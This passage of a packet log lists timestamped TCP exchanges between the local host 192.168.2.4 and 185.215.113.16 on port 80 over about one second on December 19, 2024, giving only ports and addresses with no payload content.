Dec 19, 2024 07:57:34.628386974 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.628421068 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.628431082 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.628448963 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.628464937 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.628489971 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.629302979 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.629316092 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.629348993 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.629359007 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.629370928 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.629390955 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.629416943 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.630260944 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.630279064 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.630296946 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.630311012 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.630311012 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.630326986 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.630350113 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.630820036 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.630911112 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.631182909 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.631196976 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.631207943 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.631230116 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.631253004 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.632060051 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.632083893 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.632097006 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.632106066 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.632107973 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.632122040 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.632139921 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.632967949 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.632985115 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.633025885 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.633044958 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.633151054 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.633162975 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.633174896 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.633198977 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.633220911 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.634835005 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.634897947 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.802190065 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.802207947 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.802246094 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.802265882 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.802340984 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.802354097 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.802366018 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.802381992 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.802421093 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.802819014 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.802866936 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.803303003 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.803323984 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.803344965 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.803359985 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.803577900 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.803594112 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.803606987 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.803625107 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.803652048 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.803724051 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.803764105 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.804470062 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.804496050 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.804507017 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.804538965 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.804538965 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.804727077 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.805408001 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.805421114 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.805433035 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.805444956 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.805465937 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.805486917 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.806260109 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.806304932 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.806348085 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.806360006 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.806371927 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.806381941 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.806396961 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.806433916 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.806818962 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.806865931 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.807293892 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.807307005 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.807329893 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.807341099 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.807364941 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.808163881 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.808176041 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.808188915 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.808201075 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.808223009 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.808242083 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.809170961 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.809184074 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.809211969 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.809223890 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.809223890 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.809243917 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.809262037 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.809952974 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.809967041 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.809983015 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.809997082 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.809999943 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.810018063 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.810043097 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.810609102 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.810658932 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.810885906 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.810924053 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.810930014 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.810941935 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.810962915 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.810975075 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.811007023 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.811047077 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.811850071 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.811883926 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.811893940 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.811897993 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.811916113 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.811930895 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.811969995 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.812011003 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.812756062 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.812768936 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.812781096 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.812804937 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.812830925 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.813707113 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.813729048 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.813740969 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.813752890 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.813755989 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.813771963 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.813796043 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.813930988 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.813971043 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.814606905 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.814620018 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.814631939 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.814654112 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.814671040 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.814822912 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.814865112 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.815499067 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.815511942 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.815524101 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.815545082 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.815560102 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.816405058 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.816416979 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.816452980 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.816453934 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.816466093 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.816484928 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.816513062 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.817393064 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.817418098 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.817431927 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.817442894 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.817445040 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.817455053 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.817470074 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.817486048 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.818295002 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.818314075 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.818325043 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.818336964 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.818345070 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.818366051 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.818824053 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.818872929 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.819189072 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.819205999 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.819219112 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.819231033 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.819245100 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.819262028 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.820079088 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.820091963 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.820116043 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.820126057 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.820127010 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.820141077 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.820158005 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.820450068 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.820496082 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.821043968 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.821055889 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.821068048 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.821094036 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.821108103 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.821911097 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.821923971 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.821957111 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.821969032 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.821979046 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.821981907 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.822000980 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.822015047 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.822844028 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.822858095 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.822881937 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.822891951 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.822892904 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.822906971 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.822923899 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.823852062 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.823863029 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.823903084 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.823914051 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.823965073 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.823965073 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.823965073 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.824714899 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.824728012 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.824762106 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.824785948 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.824786901 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.824800014 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.824832916 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.825172901 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.825218916 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.825644970 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.825658083 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.825690031 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.825702906 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.825802088 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.825814962 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.825844049 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.825861931 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.994313955 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.994350910 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.994365931 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.994400978 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.994436979 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.994749069 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.994771957 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.994784117 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.994788885 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.994796038 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.994806051 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.994836092 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.994853973 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.995407104 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.995417118 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.995428085 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.995456934 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.995484114 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.996257067 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.996268034 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.996299028 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.996309042 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.996325016 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.996341944 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.997183084 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.997194052 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.997226000 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.997235060 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.997246027 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.997268915 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.997294903 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.998075962 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.998091936 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.998122931 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.998126984 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.998138905 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.998138905 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.998156071 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.998172045 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.998234987 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.998275995 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.999046087 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.999083996 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.999089003 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.999141932 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.999941111 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.999957085 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.999977112 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.999985933 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.999991894 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.000009060 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.000036001 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.000861883 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.000878096 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.000889063 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.000899076 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.000909090 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.000925064 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.000952005 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.001763105 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.001777887 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.001812935 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.001822948 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.001826048 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.001857042 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.002685070 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.002698898 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.002716064 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.002726078 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.002748013 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.002763033 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.003596067 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.003612041 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.003627062 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.003644943 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.003674984 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.003674984 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.003700018 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.004553080 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.004575968 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.004586935 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.004600048 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.004611969 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.004627943 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.004651070 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.005455017 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.005467892 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.005500078 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.005507946 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.005511999 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.005536079 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.005559921 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.006354094 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.006369114 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.006402016 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.006407022 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.006412983 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.006438017 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.006815910 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.006865025 CET	49801	80	192.168.2.4	185.215.113.16
